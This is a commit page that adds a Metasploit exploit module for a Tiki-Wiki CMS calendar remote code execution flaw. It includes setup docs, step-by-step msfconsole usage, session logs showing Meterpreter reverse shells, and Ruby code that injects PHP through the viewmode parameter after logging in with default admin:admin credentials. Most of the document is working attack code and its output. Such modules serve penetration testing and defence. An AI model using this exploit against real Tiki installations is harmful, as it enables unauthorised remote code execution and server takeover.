Land #6992, Add tiki calendar exec exploit
commit
de5152401a
|
@ -0,0 +1,103 @@
|
|||
## Vulnerable Application
|
||||
|
||||
* Official Source: [sourceforge](https://sourceforge.net/projects/tikiwiki/files/Tiki_14.x_Peony/14.1/)
|
||||
* Exploit-db: [edb](https://www.exploit-db.com/apps/2fa84367ba4f14afab9f51cd3e93606d-tiki-14.2.7z)
|
||||
* Archived Copy: [github](https://github.com/h00die/MSF-Testing-Scripts)
|
||||
|
||||
**Of note, there is some discussion if 14.2 is vuln or not.**
|
||||
|
||||
1. Exploit-DB says in the title (may be wrong) 14.2 is vuln.
|
||||
2. The linked app Exploit-DB has is 14.2.
|
||||
3. Its verified on Exploit-DB.
|
||||
|
||||
vs
|
||||
|
||||
1. Manual print statement testing from the PoC on 14.2 doesn't seem to be vuln
|
||||
2. The [notice](https://tiki.org/article414-Important-Security-Fix-for-all-versions-of-Tiki) seems to say 14.2 is the update that fixes the problem
|
||||
|
||||
### Creating A Testing Environment
|
||||
|
||||
1. Create a fresh Ubuntu 16.04 w/ a LAMP install
|
||||
2. `apt-get install php-xml`
|
||||
3. Normal php install at that point!
|
||||
4. After install, login as admin:admin
|
||||
5. Go to the Control Panels
|
||||
6. Click Features
|
||||
7. Enable Calendar under Main feature
|
||||
8. Click Apply
|
||||
|
||||
#### Permissions
|
||||
|
||||
If you wish to enable the non-logged in user (anonymous) to view/exploit the calendar:
|
||||
|
||||
1. Log in as admin
|
||||
2. From the top dropdown select permissions
|
||||
3. Check Anonymous near the top
|
||||
4. Click Assign
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the software as documented above
|
||||
2. Start msfconsole
|
||||
3. Do: `use exploit/linux/http/tiki_calendar_exec`
|
||||
4. Do: `set rhost 10.10.10.10`
|
||||
5. (optional, if not set, set username to empty) Do: `set PASSWORD admin`
|
||||
6. Do: `set payload php/bind_perl`
|
||||
7. Do: `set verbose true`
|
||||
8. Do: `check`
|
||||
|
||||
```
|
||||
[*] Attempting Login
|
||||
[+] Login Successful!
|
||||
[+] 10.10.10.10:80 The target is vulnerable.
|
||||
```
|
||||
|
||||
9. Do: `exploit`
|
||||
10. You should get a shell
|
||||
|
||||
```
|
||||
[*] Started reverse TCP handler on 10.10.10.10:4444
|
||||
[*] Attempting Login
|
||||
[+] Login Successful!
|
||||
[*] Sending malicious calendar view packet
|
||||
[*] Sending stage (33721 bytes) 10.10.10.10.190
|
||||
[*] Meterpreter session 1 opened (10.10.10.10:4444 -> 192.168.2.190:48188) at 2016-06-19 08:50:44 -0400
|
||||
```
|
||||
|
||||
## Options
|
||||
|
||||
**PASSWORD**
|
||||
|
||||
Password is set at first login. Default for admin is 'admin'.
|
||||
|
||||
## Scenarios
|
||||
|
||||
Example running against unauthenticated calendar v14.1
|
||||
|
||||
```
|
||||
msf > use exploit/linux/http/tiki_calendar_exec
|
||||
msf exploit(tiki_calendar_exec) > set rhost 192.168.2.190
|
||||
rhost => 192.168.2.190
|
||||
msf exploit(tiki_calendar_exec) > set targeturi /t14_1/
|
||||
targeturi => /t14_1/
|
||||
msf exploit(tiki_calendar_exec) > set payload php/meterpreter/reverse_tcp
|
||||
payload => php/meterpreter/reverse_tcp
|
||||
msf exploit(tiki_calendar_exec) > set lhost 192.168.2.229
|
||||
lhost => 192.168.2.229
|
||||
msf exploit(tiki_calendar_exec) > set verbose true
|
||||
verbose => true
|
||||
msf exploit(tiki_calendar_exec) > set username ''
|
||||
username =>
|
||||
msf exploit(tiki_calendar_exec) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.2.229:4444
|
||||
[*] Sending malicious calendar view packet
|
||||
[*] Sending stage (33721 bytes) to 192.168.2.190
|
||||
[*] Meterpreter session 1 opened (192.168.2.229:4444 -> 192.168.2.190:48172) at 2016-06-18 10:58:19 -0400
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : tikiwiki
|
||||
OS : Linux tikiwiki 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64
|
||||
Meterpreter : php/php
|
||||
meterpreter >
|
||||
```
|
|
@ -0,0 +1,151 @@
|
|||
##
|
||||
## This module requires Metasploit: http://metasploit.com/download
|
||||
## Current source: https://github.com/rapid7/metasploit-framework
|
||||
###
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Tiki-Wiki CMS Calendar Command Execution',
|
||||
'Description' => %q(
|
||||
Tiki-Wiki CMS's calendar module contains a remote code execution
|
||||
vulnerability within the viewmode GET parameter.
|
||||
The calendar module is NOT enabled by default. If enabled,
|
||||
the default permissions are set to NOT allow anonymous users
|
||||
to access.
|
||||
|
||||
Vulnerable versions: <=14.1, <=12.4 LTS, <=9.10 LTS and <=6.14
|
||||
Verified/Tested against 14.1
|
||||
),
|
||||
'Author' =>
|
||||
[
|
||||
'h00die <mike@shorebreaksecurity.com>', # module
|
||||
'Dany Ouellet' # discovery
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'EDB', '39965' ],
|
||||
[ 'URL', 'https://tiki.org/article414-Important-Security-Fix-for-all-versions-of-Tiki']
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => %w( php ),
|
||||
'Privileged' => false,
|
||||
'Arch' => ARCH_PHP,
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic Target', {}]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Jun 06 2016'
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(80),
|
||||
OptString.new('TARGETURI', [ true, 'The URI of Tiki-Wiki', '/']),
|
||||
OptString.new('USERNAME', [ false, 'Username of a user with calendar access', 'admin']),
|
||||
OptString.new('PASSWORD', [ false, 'Password of a user with calendar access', 'admin'])
|
||||
], self.class
|
||||
)
|
||||
end
|
||||
|
||||
# returns cookie regardless of outcome
|
||||
def authenticate
|
||||
begin
|
||||
# get a cookie to start with
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path, 'tiki-login_scr.php'),
|
||||
'method' => 'GET'
|
||||
)
|
||||
cookie = res ? res.get_cookies : ''
|
||||
# if we have creds, login with them
|
||||
vprint_status('Attempting Login')
|
||||
# the bang on the cgi will follow the redirect we receive on a good login
|
||||
res = send_request_cgi!(
|
||||
'uri' => normalize_uri(target_uri.path, 'tiki-login.php'),
|
||||
'method' => 'POST',
|
||||
'ctype' => 'application/x-www-form-urlencoded',
|
||||
'cookie' => cookie,
|
||||
'vars_post' =>
|
||||
{
|
||||
'user' => datastore['USERNAME'],
|
||||
'pass' => datastore['PASSWORD'],
|
||||
'login' => '',
|
||||
'stay_in_ssl_mode_present' => 'y',
|
||||
'stay_in_ssl_mode' => 'n'
|
||||
}
|
||||
)
|
||||
# double check auth worked and we got a Log out on the page.
|
||||
# at times I got it to auth, but then it would give permission errors
|
||||
# so we want to try to double check everything is good
|
||||
if res && !res.body =~ /Log out/
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} Login Failed with #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
|
||||
end
|
||||
vprint_good("Login Successful!")
|
||||
return cookie
|
||||
rescue ::Rex::ConnectionError
|
||||
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
|
||||
end
|
||||
end
|
||||
|
||||
# sends the calendar packet, returns the HTTP response
|
||||
def send_calendar_packet(cookie, data)
|
||||
begin
|
||||
return send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path, 'tiki-calendar.php'),
|
||||
'method' => 'GET',
|
||||
'cookie' => cookie,
|
||||
'vars_get' =>
|
||||
{
|
||||
'viewmode' => "';#{data};$a='"
|
||||
}
|
||||
)
|
||||
rescue ::Rex::ConnectionError
|
||||
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
|
||||
end
|
||||
end
|
||||
|
||||
# Version numbers are post auth, so we send a print statement w/
|
||||
# 10 random characters and check for it in the response
|
||||
def check
|
||||
if datastore['USERNAME'] && !datastore['USERNAME'].blank?
|
||||
cookie = authenticate
|
||||
end
|
||||
|
||||
flag = Rex::Text.rand_text_alpha(10)
|
||||
res = send_calendar_packet(cookie, "print(#{flag})")
|
||||
|
||||
if res
|
||||
if res.body =~ /You do not have permission to view the calendar/i
|
||||
fail_with(Failure::NoAccess, "#{peer} - Additional Permissions Required")
|
||||
elsif res.body =~ />#{flag}</
|
||||
Exploit::CheckCode::Vulnerable
|
||||
else
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
if datastore['USERNAME'] && !datastore['USERNAME'].blank?
|
||||
cookie = authenticate
|
||||
end
|
||||
|
||||
vprint_status('Sending malicious calendar view packet')
|
||||
res = send_calendar_packet(cookie, payload.encoded)
|
||||
if res && res.body =~ /You do not have permission to view the calendar/i
|
||||
fail_with(Failure::NoAccess, "#{peer} - Additional Permissions Required")
|
||||
end
|
||||
end
|
||||
|
||||
end
|
Loading…
Reference in New Issue